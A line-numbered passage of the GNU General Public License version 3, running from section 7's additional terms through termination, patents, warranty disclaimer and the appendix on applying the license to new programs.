reasonable legal notices or 369 | author attributions in that material or in the Appropriate Legal 370 | Notices displayed by works containing it; or 371 | 372 | c) Prohibiting misrepresentation of the origin of that material, or 373 | requiring that modified versions of such material be marked in 374 | reasonable ways as different from the original version; or 375 | 376 | d) Limiting the use for publicity purposes of names of licensors or 377 | authors of the material; or 378 | 379 | e) Declining to grant rights under trademark law for use of some 380 | trade names, trademarks, or service marks; or 381 | 382 | f) Requiring indemnification of licensors and authors of that 383 | material by anyone who conveys the material (or modified versions of 384 | it) with contractual assumptions of liability to the recipient, for 385 | any liability that these contractual assumptions directly impose on 386 | those licensors and authors. 387 | 388 | All other non-permissive additional terms are considered "further 389 | restrictions" within the meaning of section 10. If the Program as you 390 | received it, or any part of it, contains a notice stating that it is 391 | governed by this License along with a term that is a further 392 | restriction, you may remove that term. If a license document contains 393 | a further restriction but permits relicensing or conveying under this 394 | License, you may add to a covered work material governed by the terms 395 | of that license document, provided that the further restriction does 396 | not survive such relicensing or conveying. 397 | 398 | If you add terms to a covered work in accord with this section, you 399 | must place, in the relevant source files, a statement of the 400 | additional terms that apply to those files, or a notice indicating 401 | where to find the applicable terms. 402 | 403 | Additional terms, permissive or non-permissive, may be stated in the 404 | form of a separately written license, or stated as exceptions; 405 | the above requirements apply either way. 406 | 407 | 8. Termination. 408 | 409 | You may not propagate or modify a covered work except as expressly 410 | provided under this License. Any attempt otherwise to propagate or 411 | modify it is void, and will automatically terminate your rights under 412 | this License (including any patent licenses granted under the third 413 | paragraph of section 11). 414 | 415 | However, if you cease all violation of this License, then your 416 | license from a particular copyright holder is reinstated (a) 417 | provisionally, unless and until the copyright holder explicitly and 418 | finally terminates your license, and (b) permanently, if the copyright 419 | holder fails to notify you of the violation by some reasonable means 420 | prior to 60 days after the cessation. 421 | 422 | Moreover, your license from a particular copyright holder is 423 | reinstated permanently if the copyright holder notifies you of the 424 | violation by some reasonable means, this is the first time you have 425 | received notice of violation of this License (for any work) from that 426 | copyright holder, and you cure the violation prior to 30 days after 427 | your receipt of the notice. 428 | 429 | Termination of your rights under this section does not terminate the 430 | licenses of parties who have received copies or rights from you under 431 | this License. If your rights have been terminated and not permanently 432 | reinstated, you do not qualify to receive new licenses for the same 433 | material under section 10. 434 | 435 | 9. Acceptance Not Required for Having Copies. 436 | 437 | You are not required to accept this License in order to receive or 438 | run a copy of the Program. Ancillary propagation of a covered work 439 | occurring solely as a consequence of using peer-to-peer transmission 440 | to receive a copy likewise does not require acceptance. However, 441 | nothing other than this License grants you permission to propagate or 442 | modify any covered work. These actions infringe copyright if you do 443 | not accept this License. Therefore, by modifying or propagating a 444 | covered work, you indicate your acceptance of this License to do so. 445 | 446 | 10. Automatic Licensing of Downstream Recipients. 447 | 448 | Each time you convey a covered work, the recipient automatically 449 | receives a license from the original licensors, to run, modify and 450 | propagate that work, subject to this License. You are not responsible 451 | for enforcing compliance by third parties with this License. 452 | 453 | An "entity transaction" is a transaction transferring control of an 454 | organization, or substantially all assets of one, or subdividing an 455 | organization, or merging organizations. If propagation of a covered 456 | work results from an entity transaction, each party to that 457 | transaction who receives a copy of the work also receives whatever 458 | licenses to the work the party's predecessor in interest had or could 459 | give under the previous paragraph, plus a right to possession of the 460 | Corresponding Source of the work from the predecessor in interest, if 461 | the predecessor has it or can get it with reasonable efforts. 462 | 463 | You may not impose any further restrictions on the exercise of the 464 | rights granted or affirmed under this License. For example, you may 465 | not impose a license fee, royalty, or other charge for exercise of 466 | rights granted under this License, and you may not initiate litigation 467 | (including a cross-claim or counterclaim in a lawsuit) alleging that 468 | any patent claim is infringed by making, using, selling, offering for 469 | sale, or importing the Program or any portion of it. 470 | 471 | 11. Patents. 472 | 473 | A "contributor" is a copyright holder who authorizes use under this 474 | License of the Program or a work on which the Program is based. The 475 | work thus licensed is called the contributor's "contributor version". 476 | 477 | A contributor's "essential patent claims" are all patent claims 478 | owned or controlled by the contributor, whether already acquired or 479 | hereafter acquired, that would be infringed by some manner, permitted 480 | by this License, of making, using, or selling its contributor version, 481 | but do not include claims that would be infringed only as a 482 | consequence of further modification of the contributor version. For 483 | purposes of this definition, "control" includes the right to grant 484 | patent sublicenses in a manner consistent with the requirements of 485 | this License. 486 | 487 | Each contributor grants you a non-exclusive, worldwide, royalty-free 488 | patent license under the contributor's essential patent claims, to 489 | make, use, sell, offer for sale, import and otherwise run, modify and 490 | propagate the contents of its contributor version. 491 | 492 | In the following three paragraphs, a "patent license" is any express 493 | agreement or commitment, however denominated, not to enforce a patent 494 | (such as an express permission to practice a patent or covenant not to 495 | sue for patent infringement). To "grant" such a patent license to a 496 | party means to make such an agreement or commitment not to enforce a 497 | patent against the party. 498 | 499 | If you convey a covered work, knowingly relying on a patent license, 500 | and the Corresponding Source of the work is not available for anyone 501 | to copy, free of charge and under the terms of this License, through a 502 | publicly available network server or other readily accessible means, 503 | then you must either (1) cause the Corresponding Source to be so 504 | available, or (2) arrange to deprive yourself of the benefit of the 505 | patent license for this particular work, or (3) arrange, in a manner 506 | consistent with the requirements of this License, to extend the patent 507 | license to downstream recipients. "Knowingly relying" means you have 508 | actual knowledge that, but for the patent license, your conveying the 509 | covered work in a country, or your recipient's use of the covered work 510 | in a country, would infringe one or more identifiable patents in that 511 | country that you have reason to believe are valid. 512 | 513 | If, pursuant to or in connection with a single transaction or 514 | arrangement, you convey, or propagate by procuring conveyance of, a 515 | covered work, and grant a patent license to some of the parties 516 | receiving the covered work authorizing them to use, propagate, modify 517 | or convey a specific copy of the covered work, then the patent license 518 | you grant is automatically extended to all recipients of the covered 519 | work and works based on it. 520 | 521 | A patent license is "discriminatory" if it does not include within 522 | the scope of its coverage, prohibits the exercise of, or is 523 | conditioned on the non-exercise of one or more of the rights that are 524 | specifically granted under this License. You may not convey a covered 525 | work if you are a party to an arrangement with a third party that is 526 | in the business of distributing software, under which you make payment 527 | to the third party based on the extent of your activity of conveying 528 | the work, and under which the third party grants, to any of the 529 | parties who would receive the covered work from you, a discriminatory 530 | patent license (a) in connection with copies of the covered work 531 | conveyed by you (or copies made from those copies), or (b) primarily 532 | for and in connection with specific products or compilations that 533 | contain the covered work, unless you entered into that arrangement, 534 | or that patent license was granted, prior to 28 March 2007. 535 | 536 | Nothing in this License shall be construed as excluding or limiting 537 | any implied license or other defenses to infringement that may 538 | otherwise be available to you under applicable patent law. 539 | 540 | 12. No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | --------------------------------------------------------------------------------